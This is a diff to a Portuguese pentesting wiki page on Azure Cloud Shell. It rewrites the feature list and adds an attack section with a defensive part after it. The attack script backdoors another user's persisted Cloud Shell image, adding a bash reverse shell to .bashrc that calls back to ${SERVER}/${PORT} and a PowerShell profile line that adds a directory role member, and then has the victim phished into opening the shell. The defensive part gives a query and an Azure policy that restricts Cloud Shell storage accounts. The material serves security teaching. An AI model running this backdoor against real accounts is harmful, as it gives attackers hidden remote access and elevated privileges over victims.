diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md index 0f65bee1a..3abefc92a 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md @@ -8,21 +8,109 @@ Não há permissões atribuídas a este serviço, portanto, não há técnicas de escalonamento de privilégios. Também não há qualquer tipo de enumeração. -### Key Features +### Principais Recursos -**Environment**: O Azure Cloud Shell fornece um ambiente seguro, executando no Azure Linux, a própria distribuição Linux da Microsoft projetada para infraestrutura de nuvem. Todos os pacotes incluídos no repositório do Azure Linux são compilados internamente pela Microsoft para proteger contra ataques à cadeia de suprimentos. -**Preinstalled Tools**: O Cloud Shell inclui um conjunto abrangente de ferramentas pré-instaladas, como Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git e editores de texto como vim, nano e emacs. Essas ferramentas estão prontas para uso. Para listar os pacotes e módulos instalados, você pode usar "Get-Module -ListAvailable", "tdnf list" e "pip3 list". -**$HOME persistence**: Ao iniciar o Azure Cloud Shell pela primeira vez, você pode usá-lo com ou sem uma conta de armazenamento anexada. Optar por não anexar armazenamento cria uma sessão efêmera onde os arquivos são excluídos quando a sessão termina. Para persistir arquivos entre sessões, monte uma conta de armazenamento, que é anexada automaticamente como **$HOME\clouddrive**, com seu diretório **$HOME** salvo como um arquivo **.img** no Azure File Share. No entanto, arquivos fora de $HOME e estados de máquina não são persistidos. Para armazenar com segurança segredos como chaves SSH, use o Azure Key Vault. -**Azure drive (Azure:)**: O PowerShell no Azure Cloud Shell inclui o Azure drive (Azure:), que permite a navegação fácil de recursos do Azure, como Computação, Rede e Armazenamento, usando comandos semelhantes a sistemas de arquivos. Mude para o Azure drive com cd Azure: e retorne ao seu diretório inicial com cd ~. Você ainda pode usar cmdlets do Azure PowerShell para gerenciar recursos de qualquer drive. -**Custom Tool Installation**: Usuários que configuram o Cloud Shell com uma conta de armazenamento podem instalar ferramentas adicionais que não requerem permissões de root. Este recurso permite uma personalização adicional do ambiente do Cloud Shell, permitindo que os usuários ajustem sua configuração às suas necessidades específicas. +- **Ferramentas Pré-instaladas**: O Cloud Shell inclui um conjunto abrangente de ferramentas pré-instaladas, como Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git e editores de texto como vim, nano e emacs. Essas ferramentas estão prontas para uso. Para listar os pacotes e módulos instalados, você pode usar "Get-Module -ListAvailable", "tdnf list" e "pip3 list". +- **Unidade Azure (Azure:)**: O PowerShell no Azure Cloud Shell inclui a unidade Azure (Azure:), que permite a navegação fácil pelos recursos do Azure, como Computação, Rede e Armazenamento, usando comandos semelhantes a sistemas de arquivos. Mude para a unidade Azure com cd Azure: e retorne ao seu diretório inicial com cd ~. Você ainda pode usar cmdlets do Azure PowerShell para gerenciar recursos de qualquer unidade. +- **Instalação de Ferramentas Personalizadas**: Usuários que configuram o Cloud Shell com uma conta de armazenamento podem instalar ferramentas adicionais que não requerem permissões de root. Este recurso permite uma personalização adicional do ambiente do Cloud Shell, permitindo que os usuários ajustem sua configuração às suas necessidades específicas. +- **Persistência do $HOME**: Ao iniciar o Azure Cloud Shell pela primeira vez, você pode usá-lo com ou sem uma conta de armazenamento anexada. +- Optar por não anexar armazenamento cria uma sessão efêmera onde os arquivos são excluídos quando a sessão termina. +- Para persistir arquivos entre sessões, você tem a opção de **montar uma conta de armazenamento**, que é anexada automaticamente como `$HOME\clouddrive`, com seu diretório `$HOME` **salvo como um arquivo .img em um Compartilhamento de Arquivos.** -## References +### Phishing no Cloud Shell + +Se um atacante encontrar imagens de outros usuários em uma Conta de Armazenamento à qual ele tem acesso de leitura e gravação, ele poderá baixar a imagem, **adicionar um backdoor bash e PS a ela**, e enviá-la de volta para a Conta de Armazenamento, de modo que na próxima vez que o usuário acessar o shell, os **comandos serão executados automaticamente**. + +- **Baixar, backdoor e enviar a imagem:** +```bash +# Download image +mkdir /tmp/phishing_img +az storage file download-batch -d /tmp/phishing_img --account-name + +# Mount image +cd /tmp/phishing_img/.cloudconsole +mkdir /tmp/cloudpoison +sudo mount acc_username.img /tmp/cloudpoison +cd /tmp/cloudpoison +sudo mkdir .config +sudo mkdir .config/PowerShell +sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1 +sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1 + +# Bash backdoor +echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc + +# PS backdoor +echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1 +cd /tmp + +sudo umount /tmp/cloudpoison + +# Upload image +az storage file upload --account-name --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" +``` +- **Em seguida, phishing o usuário para acessar https://shell.azure.com/** + +### Encontrar e Proibir Contas de Armazenamento Automáticas do Cloud Shell + +As contas de armazenamento criadas pelo Cloud Shell são marcadas com **`ms-resource-usage:azure-cloud-shell`**. É possível criar uma política de recurso do Azure que desabilite a criação de recursos com essa tag. + +Encontre todas as contas de armazenamento criadas pelo Cloud Shell por tags: +```bash +az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")' +``` +Política para proibir a criação de contas de armazenamento automáticas para armazenamento de shell em nuvem com base em tags: +```json +{ +displayName: "Restrict cloud shell storage account creation", +description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy", +metadata: { +category: "Storage", +version: "1.0.0" +}, +mode: "All", +parameters: { +effect: { +type: "String", +metadata: { +displayName: "Effect", +description: "Deny, Audit or Disabled the execution of the Policy" +}, +allowedValues: [ +"Deny", +"Audit", +"Disabled" +], +defaultValue: "Audit" +} +}, +policyRule: { +if: { +allOf: [ +{ +field: "type", +equals: "Microsoft.Storage/storageAccounts" +}, +{ +field: "tags['ms-resource-usage']", +equals: "azure-cloud-shell" +} +] +}, +then: { +effect: "[parameters('effect')]" +} +} +} +``` +## Referências - [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) - [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) - [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) -## Persistence + +## Persistência {{#ref}} ../az-persistence/az-cloud-shell-persistence.md